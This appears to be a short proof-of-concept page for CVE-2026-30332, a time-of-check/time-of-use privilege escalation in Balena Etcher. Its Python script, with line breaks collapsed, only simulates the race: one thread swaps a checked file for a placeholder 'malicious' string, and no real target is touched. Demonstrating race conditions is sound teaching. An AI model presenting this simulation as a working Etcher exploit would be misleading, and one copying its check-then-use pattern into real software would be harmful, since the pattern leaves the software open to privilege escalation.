CVE-2026-30332 Balena Etcher TOCTOU权限提升漏洞

import os import time import threading # Simulated vulnerable application behavior def vulnerable_process(script_path): print(f"[App] Checking script: {script_path}") # TOCTOU Window: Check time if os.path.exists(script_path) and "legitimate" in open(script_path).read(): time.sleep(0.1) # Simulate processing delay, creating the race window print(f"[App] Executing script: {script_path}") # Use time with open(script_path, 'r') as f: content = f.read() if "malicious" in content: print(f"[App] EXPLOIT SUCCESS! Executing malicious payload.") else: print(f"[App] Executing legitimate content.") else: print("[App] Security check failed.") # Attacker thread attempting to swap the file def attacker_swap(script_path): while True: try: # Wait for the file to be created/checked if os.path.exists(script_path): print("[Attacker] Swapping script file...") # Replace legitimate content with malicious payload with open(script_path, 'w') as f: f.write("malicious_payload_code();") break except: pass time.sleep(0.001) if __name__ == "__main__": target_file = "temp_script.sh" # Setup legitimate file with open(target_file, 'w') as f: f.write("legitimate_script_function();") # Start attacker thread t = threading.Thread(target=attacker_swap, args=(target_file,)) t.start() # Start vulnerable process vulnerable_process(target_file) t.join() # Cleanup if os.path.exists(target_file): os.remove(target_file)